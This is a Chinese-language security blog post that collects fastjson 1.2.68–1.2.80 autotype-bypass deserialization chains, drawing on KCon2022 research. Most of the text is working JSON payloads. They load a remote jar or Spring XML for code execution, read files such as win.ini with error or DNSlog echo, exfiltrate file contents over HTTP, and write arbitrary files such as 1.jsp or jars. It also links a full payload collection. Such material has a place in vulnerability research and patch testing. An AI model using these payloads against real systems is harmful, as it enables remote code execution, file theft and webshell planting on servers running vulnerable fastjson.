0,前言
虽然通过java.lang.Exception绕autotype是1.2.68时代就被提出来的事,但当时基本都认为是不可能的,因为大部分Exception里不过都是报异常而已,谁会写逻辑啊。甚至到了1.2.80 fastjson再次爆CVE我也没当回事,结果浅蓝的KCon2022一出来瞬间打了我的脸。
https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf
不愧是json之王,又在1.2.68的利用基础上加上了这么亿点点技巧。
1,1.2.73的改动,允许对任意类型的field进行实例化,增加了攻击面。
2,利用报错将Exception可向下追溯的类加入缓存,方便了payload构造。
3,利用"@type":"java.lang.String""@type":"xxx.Exception"的写法进入JSONObject.toJavaObject。
PS:它会打破{}对称性,使得json可读性极差。
4,利用java.util.Locale做字符串拼接
5,利用java.lang.Character报错将字符串显示在第一行
因为2-3的缘故,很多时候poc需要多次发送(前几个是为了将某个类加入缓存),因为会报错的原因在本地需要用try,su18使用[]和{}的技巧,使得多个poc可以合并为一个。
1,被遗漏的1.2.68 pgsql链
和mysql原理一致,在研究pgsql的jdbc时就应该能想到,但被我忽视了。
fastjson<=1.2.68,依赖postgresql-42.3.1和spring环境,本地测试时可以替换为java.io.FileOutputStream,更加直观。
不知道test.xml怎么写的请自行搜索。
{"@type": "java.lang.AutoCloseable","@type": "org.postgresql.jdbc.PgConnection","hostSpecs": [{"host": "127.0.0.1","port": 2333}],"user": "test","database": "test","info": {"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext","socketFactoryArg": "http://127.0.0.1:81/test.xml"},"url": ""}
2,最简单也最可能达成的groovy
fastjson1.2.76-1.2.80,依赖groovy,jar包写法见最后的参考链接。
poc1
{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}
poc2
{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":"http://127.0.0.1:81/attack-1.jar"}}
3,最不可能达成的python-pgsql
fastjson1.2.76-1.2.80,依赖rhq-scripting-python-4.13.0(非常冷门)/postgresql-42.3.1。任意Connection链均可达成,所以最后的可以替换成1.2.68mysql链。
这个链和groovy链是最适合学习的。
poc1
{"@type":"java.lang.Exception","@type":"org.python.antlr.ParseException"}
poc2
{"@type": "java.lang.Class","val": {"@type": "java.lang.String" {"@type": "java.util.Locale","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "org.python.antlr.ParseException","type": "{\"@type\":\"com.ziclix.python.sql.PyConnection\",\"connection\":{\"@type\":\"org.postgresql.jdbc.PgConnection\"}}"}}}}}
//poc3
{"@type": "org.postgresql.jdbc.PgConnection","hostSpecs": [{"host": "127.0.0.1","port": 2333}],"user": "test","database": "test","info": {"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext","socketFactoryArg": "http://127.0.0.1:81/test.xml"},"url": ""}
4,aspectjtools文件读取
fastjson1.2.73-1.2.80(此后的链都是这个范围),依赖aspectjtools
poc1
{"@type":"java.lang.Exception","@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"}
poc2
{"@type": "java.lang.Class","val": {"@type": "java.lang.String" {"@type": "java.util.Locale","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits": [{}]}}
poc3,需要将json反序列化的结果打印出来。
{"x":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"C:/windows/win.ini"}}
这种可以打印结果的链,都可以利用java.lang.Character进行报错回显,或者利用java.net.Inet4Address进行dnslog回显,但由于要拼接进各种特殊符号,所以这个dnslog回显也仅存在理论当中(mac平台)。
poc3,报错回显
{"@type": "java.lang.Character" {"C": {"x": {"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName": "C:/windows/win.ini"}}}}
poc3,dnslog回显
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"java.util.Locale","country":"97477dfe.logplog.eu.org","language":{"@type":"java.lang.String"{"x":{"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName": "C:/windows/win.ini"}}}}}}}}
5,io回显布尔文件读取
依赖ognl-3.2.21 commons-io-2.2 需回显,根据回显不一样(关注su17/su18字段)布尔读文件,差不多是1.2.68 io读文件链的翻版。
{"su14": {"@type": "java.lang.Exception","@type": "ognl.OgnlException"},"su15": {"@type": "java.lang.Class","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "ognl.OgnlException","_evaluation": ""}},"su16": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///D:/"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},"su17": {"$ref": "$.su16.node.p.stream"},"su18": {"$ref": "$.su17.bOM.bytes"}}
6,io错误或者dnslog/httplog布尔文件读取
依赖ognl-3.2.21 commons-io-2.2 需回显,根据报错不一样,或者是否存在dnslog/httplog进行布尔读文件,此为浅蓝改进1.2.68 io读文件链的翻版。
[{"su15": {"@type": "java.lang.Exception","@type": "ognl.OgnlException",}}, {"su16": {"@type": "java.lang.Class","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "ognl.OgnlException","_evaluation": ""}}},{"su17": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///D:/"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36, 81]}]}}}}},{"su18": {"$ref": "$[2].su17.node.p.stream"}},{"su19": {"$ref": "$[3].su18.bOM.bytes"}},{"su20": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String" {"$ref": "$[4].su19"},"start": 0,"end": 0},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [1]}]}}}}},{"su21": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://127.0.0.1:5667"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [49]}]}}}}},{"su22": {"$ref": "$[6].su21.node.p.stream"}},{"su23": {"$ref": "$[7].su22.bOM.bytes"}}]
7,低版本io写文件
依赖ognl-3.2.21 commons-io-2.0-2.6
{"su14": {"@type": "java.lang.Exception","@type": "ognl.OgnlException"},"su15": {"@type": "java.lang.Class","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "ognl.OgnlException","_evaluation": ""}},"su16": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""test8200个a"},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"1.jsp","encoding":"UTF-8","append": false},"charsetName":"UTF-8","bufferSize": 1024,"writeImmediately": true},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},"su17": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},"su18": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},"su19": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},}
8,高版本io写文件
依赖ognl-3.2.21 commons-io-2.7/2.8
{"su14": {"@type": "java.lang.Exception","@type": "ognl.OgnlException"},"su15": {"@type": "java.lang.Class","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "ognl.OgnlException","_evaluation": ""}},"su16": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""test8200个a","start":0,"end":2147483647},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"1.jsp","charsetName":"UTF-8","append": false},"charsetName":"UTF-8","bufferSize": 1024,"writeImmediately": true},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},"su17": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.input"},"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},"su18": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.input"},"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}},"su19": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type":"org.apache.commons.io.input.XmlStreamReader","inputStream":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.input"},"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.inputStream.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}}}}
9,io/aspectjtools/commons-codec写文件
依赖ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6,传统io链无法写入复杂文件比如jar包,这个链就是为了解决这个痛点。
因为太长所以省略了一些,完整payload见文章最后。
{"su14": {"@type": "java.lang.Exception","@type": "ognl.OgnlException"},"su15": {"@type": "java.lang.Class","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "ognl.OgnlException","_evaluation": ""}},"su16": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"@type": "org.apache.commons.codec.binary.Base64InputStream","in":{"@type":"org.apache.commons.io.input.CharSequenceInputStream","charset":"utf-8","bufferSize": 1024,"s":{"@type":"java.lang.String""base64数据"},"doEncode":false,"lineLength":1024,"lineSeparator":"5ZWKCg==","decodingPolicy":0},"branch":{"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream","targetPath":"1.txt"},"closeBranch":true},"include":true,"boms":[{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes":[bytes数据]}],}}}},"su17": {"$ref": "$.su16.node.p.stream"},"su18": {"$ref": "$.su17.bOM.bytes"}}
10,io/aspectjtools利用http带出文件
依赖aspectjtools ognl-3.2.21 commons-io-2.2
poc1
[{"@type": "java.lang.Exception","@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"},{"@type": "java.lang.Class","val": {"@type": "java.lang.String" {"@type": "java.util.Locale","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits": [{}]}}},{"x": {"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName": "aaa"}}]
poc2
{"su14": {"@type": "java.lang.Exception","@type": "ognl.OgnlException"},"su15": {"@type": "java.lang.Class","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "ognl.OgnlException","_evaluation": ""}},"su16": {"@type": "ognl.Evaluation","node": {"@type": "ognl.ASTMethod","p": {"@type": "ognl.OgnlParser","stream": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": {"@type": "java.lang.String" {"@type": "java.util.Locale","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "java.util.Locale","language": "http://127.0.0.1:5667/?test","country": {"@type": "java.lang.String" [{"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName": "C:/Windows/win.ini"}]}}},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36]}]}}}},"su17": {"$ref": "$.su16.node.p.stream"},"su18": {"$ref": "$.su17.bOM.bytes"}}
11,xalan+dom4j代替ognl
依赖 xalan-2.7.2 dom4j-2.1.3 commons-io-2.2,在io链上,其可以完全代替ognl。以下仅给出5,io回显布尔文件读取的xalan版,其他的见文章最后。
poc1
{"@type": "java.lang.Exception","@type": "org.apache.xml.dtm.DTMConfigurationException","locator":{}}
poc2
{"@type": "java.lang.Class","val": {"@type": "java.lang.String" {"@type": "java.util.Locale","val": {"@type": "com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type": "org.apache.xml.dtm.DTMConfigurationException","locator": {}}}}
poc3
{"su14": {"@type": "javax.xml.transform.SourceLocator","@type": "org.apache.xpath.objects.XNodeSetForDOM","nodeIter": {"@type": "org.apache.xpath.NodeSet"},"xctxt": {"@type": "org.apache.xpath.XPathContext","primaryReader": {"@type": "org.dom4j.io.XMLWriter","entityResolver": {"@type": "org.dom4j.io.SAXContentHandler","inputSource": {"byteStream": {"@type": "java.io.InputStream"}}}}}}}
poc4
{"su15":{"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///D:/"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [36,82]}]}}
12,合集
部分payload过长,需要临时构造,因此直接上代码,不过由于我没有用mvn,大家自己对着图找依赖吧。
https://github.com/kezibei/fastjson_payload
13,参考文章
https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247489735&idx=1&sn=23f924b612cec2466fc64071805fdfca&chksm=c187d8d6f6f051c05abd4b98edb2030a9719df07bdd814e062a996ffe3af27138e85993626ab#rd
https://github.com/su18/hack-fastjson-1.2.80
https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7
https://github.com/knownsec/KCon/blob/b6038b4f8768ab41836973e81cb0dd156bd50d64/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf